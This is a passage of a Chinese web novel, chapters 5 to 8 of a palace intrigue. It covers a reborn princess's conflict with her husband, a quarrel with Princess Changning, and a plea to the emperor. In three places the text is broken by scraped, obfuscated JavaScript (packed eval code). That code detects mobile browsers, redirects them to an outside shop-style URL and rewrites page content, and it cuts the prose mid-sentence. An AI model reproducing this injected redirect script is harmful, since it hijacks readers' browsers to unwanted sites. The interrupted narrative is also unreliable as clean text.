“清漓。”他的声音很淡,也很平常。 “不要叫我!”赵清漓崩溃地按住耳朵,轻飘飘的声音还是一阵阵回荡在脑海里,比噩梦萦绕还要可怖。 “清漓。”他又唤了一声,带着叹息,“不要任性。” 任性? 他与赵辞相谋,联手算计她一人。亏她早上还以为昨夜种种都是梦境,亏她还以为自己无端肖想皇兄而自惭形愧。 原来她的兄长、她的夫君竟然如此对她。 如今竟还有脸指责她任性? 抄起手边最后一只软枕狠狠向周砚枕砸去,正中他的脸上。 虽然软枕再如何用力也不可能砸伤他,但见他没躲,赵清漓还是有一瞬觉得心被揪起。 那软枕无力地跌落在地,周砚枕顿了顿,拂手撩上半掩的帷幔。 赵清漓呵斥:“别过来!” 那只手仅犹豫了片刻,继续探进来,慢条斯理地卷起纱帘挂上金钩,视线中的一片狼藉,周砚枕一身清冷,站在那里显得格格不入。 “饿不饿?” 赵清漓想象过他会解释,会道歉,甚至可能会痛苦流涕的求自己原谅他,却如何都没想到他会如此平静地询问她一句“饿不饿”。 “想吃什么。”他一边把地上的软枕捡起来,拍打干净放回床面,一边继续道,“若是宫里御厨不合你的口味,这会儿时间还早,我出宫去买你喜欢的,可好?” 赵清漓这才发觉人在气极的时候竟是连哭都哭不出来的,她只是觉得喉咙干涸,紧的发抖,原来心寒比心痛更甚。 赵清漓不理他,周砚枕便耐心地等她愿意理他。 床榻阶下还有一只被丢下的软枕,周砚枕一并拾起,好好的放回原处。地上的圈椅倒的倒,瘸腿的瘸腿,他都默默放好,仿佛这些事本该他做的,毫无上人姿态。 赵清漓同他隔着距离,默默看着他的一举一动:“你可还知道你是谁?” 捏着碎瓷片微微顿住,周砚枕滞了滞,松开食指和拇指的钳制,碧玉的碎片叮当落回竹盘。 他仰首,坦然的目光迎上赵清漓的,脸上挂着温和的笑:“周砚枕,圣上亲封的金科状元,大历的御史中丞,你的......夫君。” 听到他如同介绍履历的陈述,赵清漓几乎想仰头大笑。 这就是她的夫君。 可笑至极! “你是说,把自己的妻子在新婚当夜送给他人的夫君,是吗?” 一字一句,每个字都像一把锈钝的刀刃,对着自己一刀又一刀,费力地剜着,又痛又磨人。 她并非刻意给自己难堪,只是想着这样难听的话若也能刺痛他,哪怕一分。 可她错了,这样难听的话却丝毫不曾撼动这个男人的自尊,他反倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可赵清漓又无法反驳他的话,她知道自己从来不了解他,可她就是觉得这样的人应该是自己的驸马。 喜欢他什么? 浮现在脑海的是初见时他施舍般的一眼,那时的赵清漓想,神仙下凡也不过如此吧...... 气氛不像刚才那样剑拔弩张,赵清漓越发冷静下来,她突然想到自己已经死过一次,再不能向上一世那般冲动。 至少,至少要找出迫害她族人的罪魁祸首,找出那一剑穿喉的凶手。 赵清漓闭了闭眼,嗓音已不似先前喑哑,只是语调依旧森然:“你想怎么样?” 她实在没办法像他一样带着一副旁若无事发生的表情面对。 周砚枕道:“只要清漓愿意,人前,我还是你的驸马。” 赵清漓准确的捕捉到了“人前”两个字,略带讽刺地望向他:“那人后呢?” 周砚枕抿唇,半晌儿才吐出几个字:“我不知道。” 太子心性,难以捉摸。 正如周砚枕以前前也从未想过赵辞对自己的妹妹会有非分之想,非但如此,他还身体力行了自己的想法。 也正如赵清漓同赵辞一同相处了十四载,从孩提到少年,也从未发现对方心有逾矩之意。 他藏得太好,又或许是演得太好。 因此当赵清漓问出这样一个直观的问题,聪明如周砚枕也只能回答她四字:“我不知道。” 5. 第 5 章 诚如周砚枕所言,他很好地扮演着自己驸马的角色。 听话、温和、体贴。 赵清漓用膳,周砚枕便给她夹菜,直等她吃完了才开始动筷。 赵清漓休息,周砚枕便在一旁看书,手边的茶水永远为她热着备着。 夫妇和睦,琴瑟和鸣。若无此事发生,这原本该是赵清漓最想见到的景象,也是全天下女子最为羡慕的景象。 饭不食味,午后,日头渐渐下去,赵清漓在殿里闷着。她的确是气恼,可经历过一次生死的人,到底没那么容易一蹶不振。 还有春桃。 那丫头是她贴身侍婢,算是她最为亲近的下人,她和太子是何时搭上的,又从他那里得了什么好出来,竟要如此背叛她! 正这么想着,殿外进来传话的婢女,说是皇后宫里的:“公主醒着就好了,皇后娘娘请您过去一趟呢!” 晌午刚去皇后宫里请过安,不过一个多时辰,怎么又来向她传话? 赵清漓问道:“母后找我什么事?” 那婢女恭恭敬敬地回禀:“长宁公主回朝,现下正在皇后娘娘寝宫,娘娘说您同长宁公主到底也是许多年的玩伴,这才唤我前来知会一声。” 赵清漓怔了怔:“知道了,告诉母后我即刻便去。” 说罢,那婢女又低着头退出门去。 赵清漓默了片刻,侧过脸望向一旁认真批阅文书的周砚枕,仿若一副没长耳朵的模样,但赵清漓知道他听得一清二楚。 “周砚枕。” 闻声,周砚枕放下手中文书,遥遥回过头来。 赵清漓哼了一声,语气冷然:“长宁公主为何突然回朝?” 周砚枕低头似是迅速回想了一下,声音清冽干净的声音缓缓道:“岭北可汗逝世,依照惯例,和亲公主可以返还自己的故乡。” 岭北同大历路途甚远,长宁公主即便回朝,也要等祭礼完成后才能启程。这件事至少已有半月,为何她从未听闻过半点消息。 赵清漓心里这么想着,面上也露出一丝疑惑,恰好落入周砚枕眼里。 “你身处后宫,素来不问朝堂政事。”周砚枕顿了顿,将文书置于案上,起身踱步至她斜倚着的云榻前,“况且,你与长宁公主之间有诸多误会,旁人有心瞒着你也是自然。” 赵清漓扬起眉,不着痕迹地将身子撤远,一副避之不及的样子:“你早就知道?” 周砚枕不置可否。 也是,他是朝廷重臣,又是太子近臣,这些事他自然知道。 只可惜上一世的赵清漓一心沉迷于他,情爱之事看得太重,旁的事便看轻许多,至于朝政,更是毫不关心了。 赵清漓自嘲地笑了笑,或许周砚枕从未把她当作自己人过,可惜时至今日她才发现。 稍一思索,赵清漓倏然起身,冷冷地扫过他一眼,命令道:“你同我一起去。” “好。”周砚枕没犹豫便应下,又道,“今日未同你一起去向皇后娘娘问安本就失礼,借此机会去一趟也好。” 见状,赵清漓也不想同他多说什么,反正他面对任何事都是如此淡然,似乎没有什么能引起他极度的抗拒。 从前赵清漓只觉得这是他心胸宽广,现在想来,更像是人性凉薄。 金漆勾描的“风华宫”三个字饱满厚重,与朱红的底色形成鲜明对比,殿门大开着,宫殿内说话的声音断断续续传来。 进入内殿时,通报的宫人话音刚落,赵清漓寻着戛然而止的说笑声看去,衣着华丽的年轻女子就落座在皇后身边,那衣裳的料子样式,还有她满头的珠翠宝石,竟是比皇后还要雍容。 长宁公主见她来了,微微扬唇:“清漓也来了。” “是我叫她来的。”皇后拍拍长宁公主的手,“如今你也回来了,以后相处的日子自是多上许多,有些话还是要慢慢说的。” “这是自然。”长宁公主淡淡一笑,看了看站在赵清漓身后的周砚枕,“听皇后娘娘说你刚嫁了人,果真是周大人,郎才女貌,当真是天生一对。” 周砚枕上前一步,不着痕迹地把赵清漓挡在身后,面上如春风和煦:“今晨圣上同太子留臣有事相商,因此没来拜会皇后娘娘,还请赎罪。” 皇后微笑着摇头。 周砚枕又看向长宁公主,收敛几分笑意:“还未恭贺公主回朝,失礼了。” 长宁公主高傲地仰起头,语气里满是不屑:“许久未见,周大人还是一如既往地喜欢道歉啊。倒是你——” 她陡然指着赵清漓,满脸怨气:“从进门到现在一句话也不说,你哑巴了?” 气氛立刻变得剑拔弩张起来,几人的目光顿时全部落在赵清漓一人身上。 赵清漓没理她,绕开周砚枕自顾自坐在皇后身边,笑着对皇后道:“清漓还以为母后刚和我分别不久便又想我了,没曾想是要劝我们说和。不过母后您看,清漓这从进门一句话还没说呢,长宁姐姐就针锋相对的——” 说罢,赵清漓冷冷瞧了长宁公主一眼,一字一顿:“母后,怕是苦心要白费了。” “你!”长宁公主猛然起身,指着赵清漓的鼻子欲要破口大骂。 “长宁公主。”眼见情势不好,周砚枕出言提醒道,“这里是皇后娘娘的寝宫,圣上这会也还在露华殿休息,您再这么吵下去,若是被圣上知道了,恐怕不好。” 皇后自以为是的来当说客,但见长宁公主如此不给自己面子,脸上便有些挂不住。 她作势揉起了太阳穴,语气难掩的不悦:“好了!想你们姐妹两年未见,本该好好叙叙旧,如今看来倒是我多事了!罢了,你们出去吧,本宫要休息了!” 皇后话中送客之意已经很明显了,长宁公主只好悻悻地起身,敷衍一句甩袖而出。 虽说皇后有心搭桥,可这桥还没搭好便落得个不欢而散,赵清漓和周砚枕也只好寒暄几句离开。 长宁公主原本是恒亲王的女儿,永元帝正是她的皇叔。长宁公主年长她两岁,论辈分,赵清漓该叫她一声皇姐。 只是后来岭北可汗求娶公主,赵清漓那时方才年满十五岁,按道理是可以出嫁的。但永元帝哪里舍得赵清漓去那偏远的蛮夷之地。这便有了郡主封为公主一事,封号长宁,意在两国交好,长久安宁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999024|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵清漓对此事一无所知,还是长宁公主启程那日才知晓。只是当她眼巴巴地赶去同长宁公主告别之时,人家却是冷眼含恨,自此断了这份打小的交情。 对于长宁公主的怨恨,赵清漓也可以理解。 走出不远,赵清漓便看到了那抹明色的身影,显然是放慢了步伐等她的。 赵清漓侧目看了周砚枕一眼,道:“你先回去。” 周砚枕默然片刻,应了声“好”。 月白色的背影缓缓远去,模糊成渺小的光点,晕开在她的眼前。 “才分开一会儿便如此不舍,赵清漓,你还是跟以前一样没出息!” 赵清漓缓缓收回目光,用头发丝儿都能想到这尖酸刻薄的话语来自于长宁公主。 转过身,长宁公主忿然的表情恰在意料之中。 赵清漓无奈地抿了抿唇:“赵姝绾,你仗着比我年长一些,从小就喜欢打压我,如今你也已为人妇,怎么还是如此不安分。” “你住口!”长宁公主怒目圆睁,“不许你喊我的名字!” 赵清漓懒散地掀起眼皮,略带嘲讽道:“怎么,如今成了公主了,连自己的名字都不肯认了?” 长宁公主冷冷一笑,指着她的手指愤恨地甩开,她的声音因为气愤连音调都高了几分:“要不是你我怎会远嫁岭北,怎会有那样一个野蛮的糟老头子做夫君!” 说到这里,长宁公主忍不住的胃里泛起一阵恶心,硬生生地咽下去,将矛头对准眼前的罪魁祸首,眼神中满眼怨毒:“是你!都是你害的!” 赵清漓也不甘示弱,反手冷面拨开她的手指:“郡主和亲本也不是史无先列,你出身皇族就该有这个心理准备。况且,当时的事情我并不知情,你若不愿,大可找我同父皇求情,幼时我只与你交好,你若提出来,我一定会帮你。” 长宁公主唇角微动,似是嘲笑:“你少在这里装好人了,你若真去求情,那和亲的就是你了,你会愿意?” 岭北求亲无非也是传统,至于公主,不过是个称号罢了。既有郡主和亲之史,也未尝没有贵女封为公主出嫁之事。 事情会走到如何地步没人说的清,无非是她自己不肯尝试罢了。 赵清漓掀起眼帘:“你若真如此坚决,大可和你那情郎一起私奔,办法总是有的。” 她一步步逼近,眼神牢牢锁着长宁公主:“是你自己懦弱,你不敢!” 长宁公主眸子里闪过一丝动容,几乎片刻便显现颓然之势。 她承认赵清漓说得没错,和亲之事早早便被提起,而她当时却一味躲在房间里抹泪,一副认命的样子。 长宁公主看着她,眼前的赵清漓坦然的过分,竟是惹得她反而心虚起来。 “皇姐。”赵清漓轻启朱唇,把亲昵的称呼唤的不带半点感情,“我叫你一声皇姐是因为你我从小相识,你自小嚣张跋扈,宫里没什么人与你亲近,可我自认待你真心,从未做过什么对不起你的事,反倒是你,处处打压我、嘲讽我。” 赵清漓深吸一口气,释然地笑了笑,乖巧道:“皇姐如何想我都无妨,今日见到皇姐,清漓很开心。” 6. 第 6 章 说罢,赵清漓微微欠身,调转脚步。 “赵、清、漓!” 长宁公主一声怒喝,腕子一扬直接扯上赵清漓后颈的衣裳,连带着头发丝儿一并攥紧在手里,赵清漓被她这用力一扯痛的狠狠皱眉,两人就这么在庭间撕扯起来,全然忘记了皇家体面,乱七八糟的场景十分难看。 路过几个端着茶点的宫女,见到这阵势也是一惊,面面相觑之后却也无人敢上前劝阻。毕竟一个是圣上的掌上明珠,另一个......算是大历的功臣。 劝不得,也开罪不起。 也不知道长宁公主哪来这么大的力气,赵清漓发髻也散了,耳环也掉了一只,险些没能挣脱出来。 几乎是挣脱开的瞬间,赵清漓反手掴了她一掌,这一巴掌结结实实打在长宁公主脸上,用尽了所有力气。 长宁公主也没想到赵清漓竟敢打她,怔在原地片刻,待反应过来时气得头发都要冒烟了。 “你敢打我!”说罢,抬手就要反打一掌。 赵清漓反应比她快些,立刻闪身避开,后退两步保持安全距离,语气不急不缓道:“你闹够了没有。赵姝绾,路是你自己选的,你既然承了这公主之位,便是你愿意为大历牺牲,如今又来责怪于我,不觉得自己可笑吗?” 她一面整理着自己被长宁公主扯乱的衣襟,将散乱的发簪草草扶稳,接着说道:“大历本就不是中原大国,南北强盛国家比比皆是,即便这是真是我去了岭北,难保下一个就不会轮到你,你怨我恨我,我可以理解,但我告诉你,我没做错什么,更不会愧疚。” 长宁公主气极反笑,是啊,她已经嫁给了周砚枕,可不是无论如何也不会轮到她了!当真是站着说话不腰疼! 细碎的脚步由远及近,几个宫女太监簇拥着,明黄色的衣角在绿丛轻轻带过,惹得叶片也跟着抖几下。 来人穿着常服,薄唇轻抿,微挑的眼尾隐隐透出一股子不悦,矜贵的气质却丝毫不减。 “三皇子好大的排场!哦——如今该称你为太子了!”长宁公主不忿地揶揄一句。 赵清漓想装作看不见,碍于长宁公主还在这里,担心她起了疑心,违心地换上一副乖巧样子:“皇兄”。 赵辞浅浅嗯了一声,眉宇间的神色不咸不淡,而后落在长宁公主脸上。 能被留在太子身边的人都是有眼色的,还没等赵辞开口,便恭敬地自行退避,散得干干净净。 赵辞这才挂起一贯体统的笑:“长宁公主回来可有向圣上问安?” 赵清漓暗道这人确实有本事,能做到不开口则已,一开口便精准地踩到长宁公主的雷点上。送她去岭北本就是永元帝的手笔,莫说请安了,恐怕她在岭北时候每每回想起都是咬牙切齿的。 果然这话一出,长宁公主立刻像只炸了毛的猫一样,张牙舞爪的:“请安?我呸——狗皇帝把我嫁去岭北还不够,又将我父王遣去边远南境,我恨他!我恨不得杀了他!” 话音刚落,周遭空气静了几秒,连长宁公主自己也惊觉说错了话,死死咬住嘴唇。 人人都知道她心里是这样想的,人人也都知道她恨透了永元帝,可她现在毕竟身在宫中,即便是再想也不能说出口。 赵辞脸上立刻带了严肃,沉声警告:“长宁公主慎言。” 许是他身上的太子威压过重,又许是长宁公主真的怕了自己口不择言的后果,她咬咬牙,冷哼一声愤然离去。 人已经走远了,只有赵清漓耳边不断萦绕着方才长宁公主的话。那句恨他那句要杀了父皇的话,从她的嘴里脱口而出时带着满脸的怨毒,不是三两天的仇恨,而是常年累月的反复才会让人呈现出这样可怖的神情。 长宁公主回来的时间的确有点蹊跷。 前世,昨夜正是出事的那天,而长宁公主第二天便出现在大历,似乎过于巧合了。但赵清漓又觉得,如今的长宁公主不过是个死了丈夫灰溜溜回来的角色,她又哪里能得那么大的势力屠戮赵氏满门?莫非岭北已经听命于她,或是其中有她的帮衬...... “皇妹在想什么?”赵辞的尾调微微扬起。 赵清漓摇头,自是不会把心中所想告诉他,而是转念想到方才,疑道:“你明知她对父皇有怨,为何还要提醒她?这样岂不是加深她对父皇的怨恨。” 赵辞倒没觉得有那么严重,他理所当然地回答:“她心中的怨恨又岂是我一两句话可以影响得了的。” 赵清漓对他的答案不甚满意,摇着脑袋:“长宁公主回朝,择日宫里还要大办宴席为她接风,若届时她在宫宴上口不择言失了分寸,岂不是当众让父皇难堪?” 偏偏她若真的这么做了,当着百官朝臣的面,永元帝还真不能拿她如何。 毕竟一个小女子牺牲自我求得和平,其父王也被牵制在南境荒远之地,说出来都让人不禁可怜,永元帝若怪罪于她,便是没有容人之度了。 赵辞微微一怔,眉间露出几分抱歉神色:“是我考虑不周了。不过,我也是担心皇妹......” 说着,赵辞抬起胳膊,袖口中腕骨翻转,捎带着修长白皙的手指探上她的侧颜。 赵清漓本能地想避开,那只手却陡然偏了一丝方向,还未触及她脸颊便迅速上移到她的发间,轻柔至极的动作却只是为她梳开那只点翠金凤步摇纠缠在鬓发上的流苏。 一套动作行云流水般自然,也是再寻常不过的举止。 只是这一次待一切回归原位,却有人心跳乱了。 是赵清漓对他的亲近变得抗拒了。 赵辞轻笑了一声:“你瞧见她那身衣裳没有?” 赵清漓回想了一下,只觉得那身华服过于贵气,头上的珠翠亦是不俗。 很快,赵辞道出她心中所想:“她身上穿的是昔日太后最爱的缕金雪锦,头上戴的是她和亲时大历特意送予岭北可汗的鸽血红玉,环佩上嵌的是进贡的珊瑚和东珠。如此张扬,全然不将皇后放在眼里,甚至对故去的太后也毫无尊重之意,无非是她以为自己是大历的有功之臣,所有人都要惯着她、敬着她。所以皇妹,纵是你有心避着,怕也是避之不及。” 这么说,长宁公主以后还会来找自己的麻烦? 赵清漓顿感头疼,原本就一团乱麻的思绪更是乱上加乱。 赵辞顿了顿,思索片刻继续道:“不过有句话你说的不错。” “什么?” 赵辞望着她,认真说道:“你对她,无需有愧。” 赵清漓这才意识到赵辞在说她与长宁公主的对话,语气讥讽道:“皇兄耳力不错。” 赵辞像是没听懂她语中的讥讽,反含笑意,一本正经地回答:“事关皇妹,自然要格外上心。” “哦?”赵清漓挑了挑眉梢,向前逼了一步,直视着他,“那你呢,对我可有愧?” 赵辞也回望着她,澄澈的目光一望见底,坦然的让赵清漓恍惚觉得做出那些事的人并不是他。 他的口中也没有半分犹豫:“我对你,问心无愧。” 一句责 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那赵姝绾那看起来就是个脾气大没脑子的,真有这么大的本事筹谋这些事吗? 一路上赵清漓神情恍惚,不知不觉已经来到殿外。 大门开合,周砚枕的幕僚从偏殿出来,对着赵清漓弯腰行了个礼,赵清漓点头,偏殿之内周砚枕却没紧接着出来。 赵清漓心中一动,提起脚尖朝那扇半掩的门走去。 房间内日光充足,月白色的身影被镀了一层金边,更富诗情画意。 然而这画中的人却眉头紧锁,一筹莫展。 朱门轻动,木石沉闷的响声引起周砚枕的注意,他回过头,脸上踌躇的表情已恢复如初,语调也好像是关心:“你回来了。” 赵清漓嗯了一声:“方才那人找你何事?” “小事。”周砚枕敷衍着回应。 赵清漓盯着他沉默了片刻,窗棂下映着光的铜镜浮现出朦胧的影子,是她头发凌乱,衣冠不整的可怜模样。 是方才同长宁公主争执时的结果,而周砚枕,他的夫君,见此情景却毫无反应,只是简单道了一句——你回来了。 赵清漓抿唇:“你不问问我有没有事?” 周砚枕整理好自己褶皱的衣摆,动作清雅至极,有问有答:“有太子殿下,公主应当无事。” 果然是周砚枕把赵辞叫去的。 她就说赵辞向来公务繁忙琐事不断,怎么会突然来皇后寝宫这边,又偏巧一句话便将人气走,而后又毫无征兆地离去,原来元凶竟是他的好驸马。 他可当真是大度宽容,赵辞忠心的走狗! “你不要怨我。”周砚枕突然开口,像是解释他的行为,“我人微言轻,帮不了你。” 人微言轻。 周砚枕的声音轻飘飘的,如同在诉说一件稀松平常的事,赵清漓却觉得他眉梢挂着一丝惆怅,淡淡的,裹着无奈。 赵清漓顿时觉得一拳砸在了棉花上,自己倒是使了一身的力气,可打到周砚枕身上却是软绵绵的。没力气,也没意思。 “谁要你帮了。”赵清漓冷哼一声甩袖而去。 一个长宁公主而已,她才不需要别人帮她应付。 赵辞也是,周砚枕也是。 全都不需要。 漆红的木门轻摇两下,院子里的光晃着他的眼睛,周砚枕立在阴影里,静静地目送那道身影离开自己的视线。 7. 第 7 章 赵清漓度过了短暂而平静的两天安稳日子。周砚枕书桌上的文书却是越堆越厚,宛如一座小山。 她不关心朝政,但周砚枕的事算例外,她格外留意过。往日弹劾的文书奏章哪怕堆上几天也不过一摞而已,周砚枕即便再忙,也会去太子宫里坐上两个时辰商议政事,最近却足不出户的,不太对劲。 因此,当赵清漓一脚踏进偏殿大门时,就只看见满地散落的文书讣告,有些是他看过的,用红色墨迹批注过,有些则随意散开。赵清漓随手捡起一页,但看刻印,大约都是出自那些熟悉的名字。 视线移至玉案上,周砚枕手肘下的是更为厚重的参本,也不知是什么人写的,竟能写出这么多不满来。 荷色的细锦长袖掠过他的侧脸,周砚枕原低着头,瞥见她的动作时立刻支起身子,长指一转,那叠厚厚的纸稳稳落在掌心。 ......这么紧张,有什么见不得人的。 赵清漓摊开手,板着一张小脸:“拿来。” 周砚枕没给她,温声细语地解释:“墨迹未干,小心脏了你的衣袖。” 如今的赵清漓对他和赵辞的信任早已崩塌,面对这套说辞,她显然是不信的。 “拿来。”她将脸色沉了几分,重复一遍,甚至还晃了晃空落落的掌心警告他。 很像小的时候和姐姐争抢一只九连环,姐姐的力气比不得精力旺盛的周砚枕,几个回合便败下阵来。但小女孩要强,拿出姐姐做派想要吓唬他,于是学着父母生气的样子故意拉下脸来吓,佯装生气地向他伸出手。 可惜小女孩再是凶巴巴的也没什么威严,就像面前的赵清漓一样。 周砚枕难得发自内心地笑了笑,把手书拿出来,对着墨汁吹了吹,指腹蹭过,确认笔迹已干才双手奉上。 折页铺开,苍劲的墨迹力透纸背,洋洋洒洒地落在暖白的宣纸上,每一笔都带着极度的憎恶,上诉着斑斑劣迹。 赵清漓略感惊讶:“这个陈卫是谁?” 贪腐了这么多银钱,做了这么多龌龊勾当,却只是个偏远县址的区区九品县尉! “他是谁不重要,重要的是他是谁的人。”说罢,周砚枕把身旁摞的整整齐齐的文书小山的一角抽出几本,意有所指,“不止陈卫,还有贾璋、鲁广、邝百川、穆子显——” 还有许多名字,他没再一一说下去,“你可知道他们都是谁的人?” 赵清漓摇摇头,不管是谁,反正不会是赵辞的人。所有人都知道周砚枕是太子麾下文臣,虽说他是朝廷法纪的重要人物,但人家也不至于把参他主子的奏本甩到他脸上来。 周砚枕叹了口气,颇觉疲累地捏了捏眉心:“是六皇子。” 赵清漓更吃惊了:“六皇兄对这些事可知晓?” “是否知晓又如何。”周砚枕无奈地摇了摇头,“六皇子对朝政本就不上心,对他来说,有钱才是最好的,这些倚靠六皇子谋得官职的人虽然不少,但左不过都是些小地方的官吏,就算圣上知道了,也不会严惩。” 是啊,六皇子早知道自己争权无望,所以从一开始就明智地退出了这场纷争,在赵清漓的记忆力,他只是个喜欢喝点花酒,赏些玉器古玩的纨绔皇子而已。 赵清漓似懂非懂:“那就依法处置了就是,有什么可头疼的?” 又不会牵连你家太子。 周砚枕不置可否:“如你所说依法处置是不难,但这些奏本所参之事都不是近日发生,但却毫无遗留的一起出现在我面前,事出反常,不是什么好事。” 大历自古以来讲究立贤不立长,虽是这么说,眼下成年的皇子也没有几个。赵辞之上,还有个流放至西北的瑞王,其下活着的也只剩淮王和六皇子,剩下的都还只是没长大的孩子,成不了气候。 从前瑞王同淮王争得最厉害,他们二人都出自惠贵妃膝下,一母同胞,是真正的亲生兄弟。瑞王谦和敦厚,自然是张扬冲动的淮王比不了的,加之他年岁最长,母妃又得宠,便率先坐上了太子之位。至于赵辞虽然也不错,可到底不是从小在跟前儿长大的,况且永元帝和赵辞的生母又没多少感情,因此也更偏心瑞王一些。 只可惜后来瑞王不知发了什么疯,竟与永元帝的妃嫔私通,这才落得个流放的下场。自此以后,瑞王的母妃惠贵妃便不再如从前得宠,淮王更是没了心气儿。 相较之下,赵辞的表现竟越发亮眼,献计为民、勤于政事,算得上是令人惊叹的后起之秀。他做太子,旁人便再无争议了。 赵清漓虽然看不太清这其中的弯弯绕绕,但她知道能让周砚枕觉得头疼,那定是于赵辞、于朝政有不妥。 “......对太子可有影响?”赵清漓眉眼微垂,轻声试探。 “或许。”周砚枕随口答了一句,另眼端详她,“清漓什么时候也对朝政感兴趣了?” 当然没有兴趣!她可不是来和周砚枕探讨国事的! 呀!差点忘了正事。 赵清漓恍然想起自己为什么来寻他,收敛了心神,一把握住周砚枕的手腕。 “你......” 周砚枕一怔,望着她葱白如玉的纤指突然哑口,抬首却瞧见赵清漓明亮的眼睛正定定看着他,眸中带着坚定。 “你,陪我去见父皇!” —————— 周砚枕知道赵清漓有心要避开赵辞,早晚要提出搬离宫中,但他这两日事情多,却忘了告知太子这件事。 赵清漓不由分说地拉着他往露华殿走,他心里立刻猜出几分。 不知为何,他不想劝阻,心中竟还有一丝期待,期待永元帝答应他们出宫居住,哪怕只是一座小小的宅子,哪怕是他那距离皇宫很远的中丞府。 金砖铺就的地板光可鉴人,永元帝正在后房休憩,前殿仅她和周砚枕二人,显得十分空旷。赵清漓觉得自己和他关系十分别扭,不愿意同他说别的,而周砚枕本来就不是话多的,天子圣殿,他更是谨慎一些。 气氛沉默而尴尬,赵清漓不禁连呼吸都放轻一些,现在的她连大口喘息都会觉得无所适从,只盼着父皇快些、再快些更衣出来。 宝座身后的屏风隐有人影晃动,赵清漓这才舒了口气放松一些,手心的细锦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999026|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被她攥得直皱,若是再晚些,被她徒手扯烂也说不定。 回晃不止的人影终于从金色的屏风后显现,随侍太监弓着腰背掀起珠帘,永元帝背着手转而落座在圣驾上。 “父皇!” 赵清漓几乎瞬间从椅子上起身,小跑着凑到永元帝跟前,轻薄的裙摆跟着她的步伐泛起一圈一圈涟漪,如同盛开的莲花尾随而去。 永元帝看了一眼在远处施完礼站在一旁默不作声的周砚枕,眉间闪过一丝猜忌,看向赵清漓的目光倒是恢复如常,笑呵呵道:“你这丫头,这个时辰不好好在寝殿歇着,来这里做什么?” 赵清漓斟酌片刻,脸上露出一丝犹豫,央求道:“父皇,清漓想搬出去住。” 永元帝又远远扫了周砚枕一眼,仍是笑着回应:“哦?为何?” 赵清漓拉着他的胳膊左摇右晃的:“父皇当日是因为钦天寺谏言,这才留清漓和驸马在宫中完婚,如今清漓已完婚三日,理应回驸马府上去住。” 永元帝沉默了半晌,望向一眼不发的周砚枕:“驸马以为如何?” 周砚枕刚略微张口,就见赵清漓如利刃一样的目光向他投去,好像在警告若他敢说一个不字就要他好看一样。 不过周砚枕原本就打算顺着她的意思,便道:“但凭圣上做主。” 见周砚枕没拂自己的意,赵清漓这才舍得收回警示的目光,挤着甜笑对永元帝撒娇:“自古以来女儿出嫁都是要去夫家的,清漓的皇姐远嫁去的也是夫家呀!” 公主各自和亲本就让永元帝痛心,赵清漓又是他身边最后一个女儿。提起皇姐和远嫁,本还脸上挂着笑的永元帝突然敛了笑意。 除了伤心之外,永元帝还想到了另一件事,一抹狐疑落在赵清漓脸上:“莫不是长宁回来闹那么一出,你觉得在宫里不舒服了?” “啊——”赵清漓咬着唇瓣,“您知道了?” “哼,这是在宫里,有什么风吹草动朕还能不知道?”想到自己的女儿受了委屈,永元帝更是气不打一处来,“那丫头简直放肆,竟敢在后宫和你撕打,像什么样子!” 赵清漓却长出一口气,暗道还好赵辞没有把长宁公主那大逆不道的言论抬到父皇面前。 那自己何不就着这个理由顺利成章的搬出去? 赵清漓把心一横,干脆下了高阶,扑通一声跪下:“清漓知道父皇舍不得我离开皇宫,但正如您所说,皇姐对我心怀芥蒂,如今她就住在芙蕖苑,清漓和她低头不见抬头见的......实在委屈!” 话说到了这个份上,赵清漓情绪也越发激动,那日争执时的委屈在此刻爆发出来,竟是让她落下泪来。 周砚枕突然在她身边跪下,清朗的声音清晰入耳:“长宁公主是您亲封的公主,清漓为了您的颜面自是不会和她计较,是臣无能,才让公主受此委屈,只是这件事上,臣实在无法两全。” 周砚枕的表现让赵清漓大吃一惊。 他今天是怎么了,居然出乎意料的配合,但这总归不是坏事。 赵清漓抬头,一双泪眼满含委屈:“求父皇答应。” 8. 第 8 章 永元帝沉吟许久,赵清漓的心也跟着紧张。 终于,永元帝叹息一声,稍微松口:“也罢,那就待长宁的接风宴过后再议。” 赵清漓还想说什么,却注意到永元帝紧紧蹙起的眉头,想必是因为长宁公主的接风宴烦心,只好咽下一肚子的话,暂且算了。 露华殿外,赵清漓和周砚枕并肩走着,路过的宫女也不由得窃声议论,在看到周砚枕如玉似的面容后,脸色染上一抹可疑的红晕。 赵清漓更觉得心里不舒服,没好气道:“你刚才为何帮我?” 周砚枕反问:“你既然觉得我不会帮你,为何又拉我一道过来?” 赵清漓以为赵辞应该是不希望自己离宫的,她在宫里形同于在他翼下,更便于掌控。周砚枕是太子的人,万一他悄悄向太子送信搅乱自己的计划,那就得不偿失了。与其如此,倒不如把他带在身旁。 只是没想到,父皇他却没答应自己。 赵清漓别开脸,不让他看到自己的表情:“即便我不带着你,依照父皇的性子定也要找你询问你一番,倒不如直接同你一起,也省得麻烦。” 周砚枕闻言笑了笑:“自大婚后,清漓似乎长进不少。” 赵清漓横他一眼:“你不用讥讽我。” 